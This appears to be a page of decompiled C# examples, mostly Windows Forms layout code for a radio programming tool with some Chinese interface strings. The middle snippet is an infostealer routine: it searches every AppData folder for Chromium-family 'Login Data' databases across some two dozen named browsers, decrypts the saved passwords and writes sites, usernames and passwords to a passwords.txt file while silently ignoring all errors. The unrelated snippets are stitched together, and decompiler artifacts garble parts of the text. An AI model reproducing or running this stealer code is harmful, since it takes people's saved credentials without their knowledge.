            this.lblTxSyncWakeTot.Text            = "Tx Sync Wakeup TOT [ms]";
            this.lblTxSyncWakeTot.TextAlign       = ContentAlignment.MiddleRight;
            this.chkSelCall.AutoSize = true;
            this.chkSelCall.Location = new Point(245, 218);
            this.chkSelCall.Name     = "chkSelCall";
            this.chkSelCall.Size     = new Size(131, 20);
            this.chkSelCall.TabIndex = 10;
            this.chkSelCall.Text     = "Self Call Encode";
            this.chkSelCall.UseVisualStyleBackColor = true;
            this.chkSelCall.Visible                 = false;
            this.lblTxWakeMsgLimit.Location         = new Point(49, 98);
            this.lblTxWakeMsgLimit.Name             = "lblTxWakeMsgLimit";
            this.lblTxWakeMsgLimit.Size             = new Size(185, 24);
            this.lblTxWakeMsgLimit.TabIndex         = 3;
            this.lblTxWakeMsgLimit.Text             = "Tx Wakeup Message Limit";
            this.lblTxWakeMsgLimit.TextAlign        = ContentAlignment.MiddleRight;
            this.cmbSelCallToneId.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.cmbSelCallToneId.FormattingEnabled = true;
            this.cmbSelCallToneId.Items.AddRange(new object[2]
            {
                "前置",
                "始终"
            });
            this.cmbSelCallToneId.Location = new Point(245, 248);
            this.cmbSelCallToneId.Name     = "cmbSelCallToneId";
            this.cmbSelCallToneId.Size     = new Size(121, 24);
            this.cmbSelCallToneId.TabIndex = 12;
            this.cmbSelCallToneId.Visible  = false;
            this.nudSelCallHang.Increment  = new decimal(new int[4]
            {
                500,
                0,
                0,
                0
            });
            this.nudSelCallHang.method_2(null);
            this.nudSelCallHang.Location = new Point(245, 278);
            this.nudSelCallHang.Maximum  = new decimal(new int[4]
            {
                7000,
                0,
                0,
                0
            });
            this.nudSelCallHang.Name = "nudSelCallHang";
            this.nudSelCallHang.method_6(null);
            Class12 class5 = this.nudSelCallHang;

            int[] bits5 = new int[4];
            class5.method_4(new decimal(bits5));
            this.nudSelCallHang.Size         = new Size(120, 23);
            this.nudSelCallHang.TabIndex     = 14;
            this.nudSelCallHang.Visible      = false;
            this.lblSelCallToneId.Location   = new Point(49, 248);
            this.lblSelCallToneId.Name       = "lblSelCallToneId";
            this.lblSelCallToneId.Size       = new Size(185, 24);
            this.lblSelCallToneId.TabIndex   = 11;
            this.lblSelCallToneId.Text       = "Self Call Tone/ID";
            this.lblSelCallToneId.TextAlign  = ContentAlignment.MiddleRight;
            this.lblSelCallToneId.Visible    = false;
            this.lblRMDuration.Location      = new Point(49, 128);
            this.lblRMDuration.Name          = "lblRMDuration";
            this.lblRMDuration.Size          = new Size(185, 24);
            this.lblRMDuration.TabIndex      = 5;
            this.lblRMDuration.Text          = "Remote Monitor Duration [s]";
            this.lblRMDuration.TextAlign     = ContentAlignment.MiddleRight;
            this.lblSelCallHang.Location     = new Point(49, 278);
            this.lblSelCallHang.Name         = "lblSelCallHang";
            this.lblSelCallHang.Size         = new Size(185, 24);
            this.lblSelCallHang.TabIndex     = 13;
            this.lblSelCallHang.Text         = "Self Call Hang Time [ms]";
            this.lblSelCallHang.TextAlign    = ContentAlignment.MiddleRight;
            this.lblSelCallHang.Visible      = false;
            this.lblAutoResetTimer.Location  = new Point(49, 308);
            this.lblAutoResetTimer.Name      = "lblAutoResetTimer";
            this.lblAutoResetTimer.Size      = new Size(185, 24);
            this.lblAutoResetTimer.TabIndex  = 15;
            this.lblAutoResetTimer.Text      = "Auto Reset Timer [s]";
            this.lblAutoResetTimer.TextAlign = ContentAlignment.MiddleRight;
            this.lblAutoResetTimer.Visible   = false;
            base.AutoScaleDimensions         = new SizeF(7f, 16f);
            base.AutoScaleMode = AutoScaleMode.Font;
            base.ClientSize    = new Size(521, 397);
            base.Controls.Add(this.pnlSignalingBasic);
            this.Font         = new Font("Arial", 10f, FontStyle.Regular);
            base.Name         = "SignalingBasicForm";
            this.Text         = "Signaling System";
            base.Load        += this.SignalingBasicForm_Load;
            base.FormClosing += this.SignalingBasicForm_FormClosing;
            this.pnlSignalingBasic.ResumeLayout(false);
            this.pnlSignalingBasic.PerformLayout();
            ((ISupportInitialize)this.nudTxSyncWakeTot).EndInit();
            ((ISupportInitialize)this.nudAutoResetTimer).EndInit();
            ((ISupportInitialize)this.nudTxWakeMsgLimit).EndInit();
            ((ISupportInitialize)this.nudRMDuration).EndInit();
            ((ISupportInitialize)this.nudSelCallHang).EndInit();
            base.ResumeLayout(false);
            base.PerformLayout();
        }
예제 #6
0
 // Token: 0x06000203 RID: 515 RVA: 0x00010138 File Offset: 0x0000E338
 public static void smethod_0()
 {
     string[] array = new string[]
     {
         "Chrome",
         "Yandex",
         "Orbitum",
         "Opera",
         "Amigo",
         "Torch",
         "Comodo",
         "CentBrowser",
         "Go!",
         "uCozMedia",
         "Rockmelt",
         "Sleipnir",
         "SRWare Iron",
         "Vivaldi",
         "Sputnik",
         "Maxthon",
         "AcWebBrowser",
         "Epic Browser",
         "MapleStudio",
         "BlackHawk",
         "Flock",
         "CoolNovo",
         "Baidu Spark",
         "Titan Browser"
     };
     try
     {
         Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers");
         List <string> list  = new List <string>();
         List <string> list2 = new List <string>
         {
             Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
             Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)
         };
         List <string> list3 = new List <string>();
         foreach (string path in list2)
         {
             try
             {
                 list3.AddRange(Directory.GetDirectories(path));
             }
             catch
             {
             }
         }
         foreach (string path2 in list3)
         {
             try
             {
                 list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories));
                 string[] files = Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories);
                 foreach (string text in files)
                 {
                     try
                     {
                         if (File.Exists(text))
                         {
                             string string_ = "Unknown (" + text + ")";
                             foreach (string text2 in array)
                             {
                                 if (text.Contains(text2))
                                 {
                                     string_ = text2;
                                 }
                             }
                             try
                             {
                                 string text3 = Path.GetTempPath() + "/test.fv";
                                 if (File.Exists(text3))
                                 {
                                     File.Delete(text3);
                                 }
                                 File.Copy(text, text3, true);
                                 Class12 @class = new Class12(text3);
                                 if ([email protected]_4("logins"))
                                 {
                                     break;
                                 }
                                 int num = 0;
                                 for (;;)
                                 {
                                     try
                                     {
                                         if (num >= @class.method_1())
                                         {
                                             break;
                                         }
                                         try
                                         {
                                             string text4 = string.Empty;
                                             try
                                             {
                                                 text4 = Encoding.UTF8.GetString(Class26.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null));
                                             }
                                             catch (Exception)
                                             {
                                             }
                                             if (text4 != "")
                                             {
                                                 Class27 class2 = new Class27();
                                                 class2.method_1(@class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""));
                                                 class2.method_3(@class.method_0(num, 3));
                                                 class2.method_5(text4);
                                                 class2.method_7(string_);
                                                 Class27 arg = class2;
                                                 Class26.string_0 += Convert.ToString(Environment.NewLine + arg);
                                                 Class26.int_0++;
                                             }
                                         }
                                         catch
                                         {
                                         }
                                         num++;
                                     }
                                     catch
                                     {
                                     }
                                 }
                                 File.Delete(text3);
                             }
                             catch
                             {
                             }
                         }
                     }
                     catch
                     {
                     }
                 }
             }
             catch
             {
             }
         }
         File.WriteAllText(Dirs.WorkDir + "\\passwords.txt", (Class26.string_0 != null) ? ("Shut Up and Work " + Environment.NewLine + Class26.string_0 + "\n") : "", Encoding.Default);
     }
     catch
     {
     }
 }
예제 #7
0
        private void method_0()
        {
            DataGridViewCellStyle dataGridViewCellStyle = new DataGridViewCellStyle();

            this.pnlButton      = new Class3();
            this.class4_1       = new Class4();
            this.dgvOneTouch    = new DataGridView();
            this.cmbMode        = new DataGridViewComboBoxColumn();
            this.cmbCallType    = new DataGridViewComboBoxColumn();
            this.cmbCallList    = new DataGridViewComboBoxColumn();
            this.cmbMsg         = new DataGridViewComboBoxColumn();
            this.lblEmgShortDur = new Label();
            this.class4_2       = new Class4();
            this.lblLongDur     = new Label();
            this.cmbTkLong      = new Class4();
            this.nudEmgShortDur = new Class12();
            this.cmbTkShort     = new Class4();
            this.nudLongDur     = new Class12();
            this.class4_3       = new Class4();
            this.lblSK1         = new Label();
            this.class4_0       = new Class4();
            this.lblSK2         = new Label();
            this.lblLongPress   = new Label();
            this.lblTK          = new Label();
            this.lblShortPress  = new Label();
            this.pnlButton.SuspendLayout();
            ((ISupportInitialize)this.dgvOneTouch).BeginInit();
            ((ISupportInitialize)this.nudEmgShortDur).BeginInit();
            ((ISupportInitialize)this.nudLongDur).BeginInit();
            base.SuspendLayout();
            this.pnlButton.AutoScroll = true;
            this.pnlButton.AutoSize   = true;
            this.pnlButton.Controls.Add(this.class4_1);
            this.pnlButton.Controls.Add(this.dgvOneTouch);
            this.pnlButton.Controls.Add(this.lblEmgShortDur);
            this.pnlButton.Controls.Add(this.class4_2);
            this.pnlButton.Controls.Add(this.lblLongDur);
            this.pnlButton.Controls.Add(this.cmbTkLong);
            this.pnlButton.Controls.Add(this.nudEmgShortDur);
            this.pnlButton.Controls.Add(this.cmbTkShort);
            this.pnlButton.Controls.Add(this.nudLongDur);
            this.pnlButton.Controls.Add(this.class4_3);
            this.pnlButton.Controls.Add(this.lblSK1);
            this.pnlButton.Controls.Add(this.class4_0);
            this.pnlButton.Controls.Add(this.lblSK2);
            this.pnlButton.Controls.Add(this.lblLongPress);
            this.pnlButton.Controls.Add(this.lblTK);
            this.pnlButton.Controls.Add(this.lblShortPress);
            this.pnlButton.Dock             = DockStyle.Fill;
            this.pnlButton.Location         = new Point(0, 0);
            this.pnlButton.Name             = "pnlButton";
            this.pnlButton.Size             = new Size(627, 499);
            this.pnlButton.TabIndex         = 16;
            this.class4_1.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.class4_1.FormattingEnabled = true;
            this.class4_1.Location          = new Point(170, 137);
            this.class4_1.Name                             = "cmbSk1Short";
            this.class4_1.Size                             = new Size(179, 24);
            this.class4_1.TabIndex                         = 7;
            this.class4_1.SelectedIndexChanged            += this.class4_1_SelectedIndexChanged;
            this.dgvOneTouch.AllowUserToAddRows            = false;
            dataGridViewCellStyle.Alignment                = DataGridViewContentAlignment.MiddleCenter;
            dataGridViewCellStyle.BackColor                = SystemColors.Control;
            dataGridViewCellStyle.Font                     = new Font("Arial", 10f, FontStyle.Regular);
            dataGridViewCellStyle.ForeColor                = SystemColors.WindowText;
            dataGridViewCellStyle.SelectionBackColor       = SystemColors.Highlight;
            dataGridViewCellStyle.SelectionForeColor       = SystemColors.HighlightText;
            dataGridViewCellStyle.WrapMode                 = DataGridViewTriState.True;
            this.dgvOneTouch.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle;
            this.dgvOneTouch.ColumnHeadersHeightSizeMode   = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
            this.dgvOneTouch.Columns.AddRange(this.cmbMode, this.cmbCallType, this.cmbCallList, this.cmbMsg);
            this.dgvOneTouch.EditMode           = DataGridViewEditMode.EditOnEnter;
            this.dgvOneTouch.Location           = new Point(26, 259);
            this.dgvOneTouch.Name               = "dgvOneTouch";
            this.dgvOneTouch.RowTemplate.Height = 23;
            this.dgvOneTouch.Size               = new Size(574, 212);
            this.dgvOneTouch.TabIndex           = 15;
            this.dgvOneTouch.CellValueChanged  += this.dgvOneTouch_CellValueChanged;
            this.dgvOneTouch.RowPostPaint      += this.dgvOneTouch_RowPostPaint;
            this.dgvOneTouch.DataError         += this.dgvOneTouch_DataError;
            this.cmbMode.DisplayStyle           = DataGridViewComboBoxDisplayStyle.Nothing;
            this.cmbMode.HeaderText             = "Mode";
            this.cmbMode.Name             = "cmbMode";
            this.cmbCallType.DisplayStyle = DataGridViewComboBoxDisplayStyle.Nothing;
            this.cmbCallType.HeaderText   = "Call Type";
            this.cmbCallType.Name         = "cmbCallType";
            this.cmbCallList.DisplayStyle = DataGridViewComboBoxDisplayStyle.Nothing;
            this.cmbCallList.HeaderText   = "Call";
            this.cmbCallList.Name         = "cmbCallList";
            this.cmbMsg.DisplayStyle      = DataGridViewComboBoxDisplayStyle.Nothing;
            this.cmbMsg.HeaderText        = "Text Message";
            this.cmbMsg.Name                     = "cmbMsg";
            this.cmbMsg.Width                    = 150;
            this.lblEmgShortDur.Location         = new Point(106, 36);
            this.lblEmgShortDur.Name             = "lblEmgShortDur";
            this.lblEmgShortDur.Size             = new Size(245, 24);
            this.lblEmgShortDur.TabIndex         = 0;
            this.lblEmgShortDur.Text             = "Emergency Short Press Duration [ms]";
            this.lblEmgShortDur.TextAlign        = ContentAlignment.MiddleRight;
            this.lblEmgShortDur.Visible          = false;
            this.class4_2.DropDownStyle          = ComboBoxStyle.DropDownList;
            this.class4_2.FormattingEnabled      = true;
            this.class4_2.Location               = new Point(362, 137);
            this.class4_2.Name                   = "cmbSk1Long";
            this.class4_2.Size                   = new Size(179, 24);
            this.class4_2.TabIndex               = 8;
            this.class4_2.SelectedIndexChanged  += this.class4_2_SelectedIndexChanged;
            this.lblLongDur.Location             = new Point(106, 68);
            this.lblLongDur.Name                 = "lblLongDur";
            this.lblLongDur.Size                 = new Size(245, 24);
            this.lblLongDur.TabIndex             = 2;
            this.lblLongDur.Text                 = "Long Press Duration [ms]";
            this.lblLongDur.TextAlign            = ContentAlignment.MiddleRight;
            this.cmbTkLong.DropDownStyle         = ComboBoxStyle.DropDownList;
            this.cmbTkLong.FormattingEnabled     = true;
            this.cmbTkLong.Location              = new Point(362, 197);
            this.cmbTkLong.Name                  = "cmbTkLong";
            this.cmbTkLong.Size                  = new Size(179, 24);
            this.cmbTkLong.TabIndex              = 14;
            this.cmbTkLong.SelectedIndexChanged += this.cmbTkLong_SelectedIndexChanged;
            this.nudEmgShortDur.Increment        = new decimal(new int[4]
            {
                50,
                0,
                0,
                0
            });
            this.nudEmgShortDur.method_2(null);
            this.nudEmgShortDur.Location = new Point(367, 36);
            this.nudEmgShortDur.Maximum  = new decimal(new int[4]
            {
                750,
                0,
                0,
                0
            });
            this.nudEmgShortDur.Minimum = new decimal(new int[4]
            {
                50,
                0,
                0,
                0
            });
            this.nudEmgShortDur.Name = "nudEmgShortDur";
            this.nudEmgShortDur.method_6(null);
            Class12 @class = this.nudEmgShortDur;

            int[] bits = new int[4];
            @class.method_4(new decimal(bits));
            this.nudEmgShortDur.Size     = new Size(120, 23);
            this.nudEmgShortDur.TabIndex = 1;
            this.nudEmgShortDur.Value    = new decimal(new int[4]
            {
                50,
                0,
                0,
                0
            });
            this.nudEmgShortDur.Visible       = false;
            this.cmbTkShort.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.cmbTkShort.FormattingEnabled = true;
            this.cmbTkShort.Location          = new Point(170, 197);
            this.cmbTkShort.Name                  = "cmbTkShort";
            this.cmbTkShort.Size                  = new Size(179, 24);
            this.cmbTkShort.TabIndex              = 13;
            this.cmbTkShort.SelectedIndexChanged += this.cmbTkShort_SelectedIndexChanged;
            this.nudLongDur.Increment             = new decimal(new int[4]
            {
                250,
                0,
                0,
                0
            });
            this.nudLongDur.method_2(null);
            this.nudLongDur.Location = new Point(367, 68);
            this.nudLongDur.Maximum  = new decimal(new int[4]
            {
                3750,
                0,
                0,
                0
            });
            this.nudLongDur.Minimum = new decimal(new int[4]
            {
                1500,
                0,
                0,
                0
            });
            this.nudLongDur.Name = "nudLongDur";
            this.nudLongDur.method_6(null);
            Class12 class2 = this.nudLongDur;

            int[] bits2 = new int[4];
            class2.method_4(new decimal(bits2));
            this.nudLongDur.Size     = new Size(120, 23);
            this.nudLongDur.TabIndex = 3;
            this.nudLongDur.Value    = new decimal(new int[4]
            {
                1500,
                0,
                0,
                0
            });
            this.class4_3.DropDownStyle     = ComboBoxStyle.DropDownList;
            this.class4_3.FormattingEnabled = true;
            this.class4_3.Items.AddRange(new object[3]
            {
                "紧急报警",
                "紧急报警和呼叫",
                "紧急报警和语音"
            });
            this.class4_3.Location              = new Point(362, 167);
            this.class4_3.Name                  = "cmbSk2Long";
            this.class4_3.Size                  = new Size(179, 24);
            this.class4_3.TabIndex              = 11;
            this.class4_3.SelectedIndexChanged += this.class4_3_SelectedIndexChanged;
            this.lblSK1.Location                = new Point(86, 137);
            this.lblSK1.Name                    = "lblSK1";
            this.lblSK1.Size                    = new Size(76, 24);
            this.lblSK1.TabIndex                = 6;
            this.lblSK1.Text                    = "SK1";
            this.lblSK1.TextAlign               = ContentAlignment.MiddleRight;
            this.class4_0.DropDownStyle         = ComboBoxStyle.DropDownList;
            this.class4_0.FormattingEnabled     = true;
            this.class4_0.Location              = new Point(170, 167);
            this.class4_0.Name                  = "cmbSk2Short";
            this.class4_0.Size                  = new Size(179, 24);
            this.class4_0.TabIndex              = 10;
            this.class4_0.SelectedIndexChanged += this.class4_0_SelectedIndexChanged;
            this.lblSK2.Location                = new Point(86, 167);
            this.lblSK2.Name                    = "lblSK2";
            this.lblSK2.Size                    = new Size(76, 24);
            this.lblSK2.TabIndex                = 9;
            this.lblSK2.Text                    = "SK2";
            this.lblSK2.TextAlign               = ContentAlignment.MiddleRight;
            this.lblLongPress.Location          = new Point(362, 113);
            this.lblLongPress.Name              = "lblLongPress";
            this.lblLongPress.Size              = new Size(179, 16);
            this.lblLongPress.TabIndex          = 5;
            this.lblLongPress.Text              = "Long Press";
            this.lblLongPress.TextAlign         = ContentAlignment.MiddleCenter;
            this.lblTK.Location                 = new Point(86, 197);
            this.lblTK.Name              = "lblTK";
            this.lblTK.Size              = new Size(76, 24);
            this.lblTK.TabIndex          = 12;
            this.lblTK.Text              = "TK";
            this.lblTK.TextAlign         = ContentAlignment.MiddleRight;
            this.lblShortPress.Location  = new Point(170, 112);
            this.lblShortPress.Name      = "lblShortPress";
            this.lblShortPress.Size      = new Size(179, 16);
            this.lblShortPress.TabIndex  = 4;
            this.lblShortPress.Text      = "Short Press";
            this.lblShortPress.TextAlign = ContentAlignment.MiddleCenter;
            base.AutoScaleDimensions     = new SizeF(7f, 16f);
            base.AutoScaleMode           = AutoScaleMode.Font;
            base.ClientSize              = new Size(627, 499);
            base.Controls.Add(this.pnlButton);
            this.Font         = new Font("Arial", 10f, FontStyle.Regular);
            base.Name         = "ButtonForm";
            this.Text         = "Buttons";
            base.Load        += this.ButtonForm_Load;
            base.FormClosing += this.ButtonForm_FormClosing;
            this.pnlButton.ResumeLayout(false);
            ((ISupportInitialize)this.dgvOneTouch).EndInit();
            ((ISupportInitialize)this.nudEmgShortDur).EndInit();
            ((ISupportInitialize)this.nudLongDur).EndInit();
            base.ResumeLayout(false);
            base.PerformLayout();
        }